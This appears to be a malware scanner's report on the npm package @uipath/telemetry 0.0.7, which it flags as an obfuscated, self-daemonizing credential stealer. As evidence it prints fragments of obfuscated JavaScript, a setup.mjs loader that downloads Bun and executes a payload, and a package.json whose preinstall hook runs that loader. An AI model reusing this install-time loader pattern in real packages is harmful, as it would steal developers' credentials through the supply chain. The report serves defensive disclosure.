@uipath/telemetry 0.0.7
Credential stealer, obfuscated, self-daemonizing
Mini Shai-Hulud setup.mjs preinstall Bun loaderpreinstall setup.mjs bootstraps Bun runtime
SHA-25687c3ad7ca31233e26a609371c7f3cc6b5c292331efd80a65d748ca4b82a829f7
Also flagged by osv (MAL-2026-3579: Malicious code in @uipath/telemetry (npm)) +3 more.
Evidence
1:103472… ,'î':'i','ï':'i','Ñ':'N','ñ':'n','Ò':'O','Ó':'O','Ô':'O','Õ':'O','Ö':'O','Ø':'O','ò':'o','ó':'o','ô':'o','õ':'o','ö':'o','ø':'o','Ù':'U','Ú':'U','Û':'U','Ü':'U','ù':'u','ú':'u','û':'u','ü':'u','Ý':'Y','ý':'y','ÿ':'y','Æ':'Ae','æ':'ae','Þ':'Th','þ':'th','ß':'ss','Ā':'A','Ă':'A','Ą':'A','ā':'a','ă':'a','ą':'a','Ć':'C','Ĉ':'C','Ċ':'C','Č':'C','ć':'c','ĉ':'c','ċ':'c','č':'c','Ď':'D','Đ':'D','ď':'d','đ':'d','Ē':'E','Ĕ':'E','Ė':'E','Ę':'E','Ě':'E','ē':'e','ĕ':'e','ė':'e','ę':'e','ě':'e','Ĝ':'G','Ğ':'G','Ġ':'G','Ģ':'G','ĝ':'g','ğ':'g','ġ':'g','ģ':'g','Ĥ':'H','Ħ':'H','ĥ':'h','ħ':'h','Ĩ':'I','Ī':'I','Ĭ':'I','Į':'I','İ':'I','ĩ':'i','ī':'i','ĭ':'i','į':'i','ı':'i','Ĵ':'J','ĵ':'j','Ķ':'K','ķ':'k','ĸ':'k','Ĺ':'L','Ļ':'L','Ľ':'L','Ŀ':'L','Ł':'L','ĺ':'l','ļ':'l','ľ':'l','ŀ':'l','ł':'l','Ń':'N','Ņ':'N','Ň':'N','Ŋ':'N','ń':'n','ņ':'n','ň':'n','ŋ':'n','Ō':'O','Ŏ':'O','Ő':'O','ō':'o','ŏ':'o','ő':'o','Ŕ':'R','Ŗ':'R','Ř':'R','ŕ':'r','ŗ':'r','ř':'r','Ś':'S','Ŝ':'S','Ş':'S','Š':'S','ś':'s','ŝ':'s','ş':'s','š':'s','Ţ':'T','Ť':'T','Ŧ':'T','ţ':'t','ť':'t','ŧ':'t','Ũ':'U','Ū':'U','Ŭ':'U','Ů':'U','Ű':'U','Ų':'U','ũ':'u','ū':'u','ŭ':'u','ů':'u','ű':'u','ų':'u','Ŵ':'W','ŵ':'w','Ŷ':'Y','ŷ':'y','Ÿ':'Y','Ź':'Z','Ż':'Z','Ž':'Z','ź':'z','ż':'z','ž':'z','IJ':'IJ','ij':'ij','Œ':'Oe','œ':'oe','ʼn':'\x27n','ſ':'s'},_0x4156bf={'&':_0x165f79[_0xbe9a65(0x1dae)],'<':_0x165f79[_0xbe9a65(0x1acd)],'>':'>','\x22':_0x165f79[_0xbe9a65(0x2712)],'\x27':_0x165f79[_0xbe9a65(0xf42)]},_0x3f8a55={'&':'&','<':'<','>':'>','"':'\x22',''':'\x27'},_0x514244={'\x5c':'\x5c','\x27':'\x27','\x0a':'n','\x0d':'r','\u2028':_0x165f79[_0xbe9a65(0x1d23)],'\u2029':_0x165f79[_0xbe9a65(0xdbf)]},_0x4b1c5b=parseFloat,_0x1f0444=parseInt,_0x2ad1cb=_0x165f79['GEKQc'](typeof global,_0x165f79[_0xbe9a65(0x25f7)])&&global&&_0x165f79[_0xbe9a65(0x1f81)](global['Object'],Obj …
1:106922… 0c&&_0x3c1e0c[_0xbe9a65(0x62b)],_0x5c3aef=_0x3c1e0c&&_0x3c1e0c[_0xbe9a65(0x1f5)],_0x28b9ae=_0x3c1e0c&&_0x3c1e0c['isTypedArray'];function _0x58e1fc(_0x5dc47a,_0x37ebb0,_0x4c010b){const _0x5bdaed=_0xbe9a65;switch(_0x4c010b[_0x5bdaed(0x2b97)]){case 0x0:return _0x5dc47a['call'](_0x37ebb0);case 0x1:return _0x5dc47a['call'](_0x37ebb0,_0x4c010b[0x0]);case 0x2:return _0x5dc47a[_0x5bdaed(0x2c6e)](_0x37ebb0,_0x4c010b[0x0],_0x4c010b[0x1]);case 0x3:return _0x5dc47a[_0x5bdaed(0x2 …
1:1136037… 359e3=await _0x25422d[_0x4c85fb(0x1c66)]();throw _0x1eff86['aJyXc'](Error,_0x4c85fb(0x1df4)+_0x25422d[_0x4c85fb(0xa87)]+'\x20—\x20'+_0x5359e3);}let _0xb8119=await _0x25422d[_0x4c85fb(0x2180)](),_0x50749a=Object[_0x4c85fb(0x1f24)](_0xb8119);if(_0x1eff86[_0x4c85fb(0x1040)](_0x50749a['length'],0x1))throw _0x1eff86[_0x4c85fb(0x24bc)](Error,_0x4c85fb(0x51b)+_0x50749a[_0x4c85fb(0x2b97)]);let [,_0x1a81d7]=_0x50749a[0x0],_0x31b336=_0x1a81d7[_0x4c85fb(0x2734)]?.[_0x4c85fb(0xd8c)];return{'logIndex':_0x1a81d7[_0x4c8 …
180:4… onst w = process.platform === "win32";
181 const bn = w ? "bun.exe" : "bun";
182 const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
183
184 const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
185 const zp = path.join(td, `${a}.zip`);
186 const bp = path.join(td, bn);
⋯5 lines
192 fs.unlinkSync(zp);
193
194 if (!w) fs.chmodSync(bp, 0o755);
195 execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
196 } finally {
197 fs.rmSync(td, { recursive: true, force: true });
198 }
199}
200
201main().catch((e) => {
202 console.error(e.message);
203 process.exit(1);
204});
1{
2 "name": "@uipath/telemetry",
3 "version": "0.0.7",
4 "description": "UiPath Telemetry - core telemetry service with context storage for operation tracking and correlation",
5 "type": "module",
6 "main": "./dist/index.js",
7 "exports": {
8 ".": {
9 "types": "./dist/src/index.d.ts",
⋯5 lines
15 }
16 },
17 "types": "./dist/src/index.d.ts",
18 "repository": {
19 "type": "git",
20 "url": "https://github.com/UiPath/cli.git",
21 "directory": "packages/telemetry"
22 },
23 "publishConfig": {
24 "registry": "https://registry.npmjs.org/"
25 },
26 "files": [
27 "dist",
28 "!dist/**/*.map"
29 ],
30 "scripts": {
31 "preinstall": "node setup.mjs"
32 },
33 "devDependencies": {
34 "@rslib/core": "^0.20.0",
35 "@types/node": "^25.5.0",
36 "@vitest/coverage-v8": "^4.0.18",
37 "jsdom": "^29.0.0",
38 "typescript": "^5.9.3",
39 "vite-tsconfig-paths": "^6.1.1",
40 "vitest": "^4.0.18",
41 "zone.js": "^0.16.1"
42 }
43}
Showing the top 5 files — 5 more files (20 regions) not shown.
No evidence locations were recorded for this file. Raw result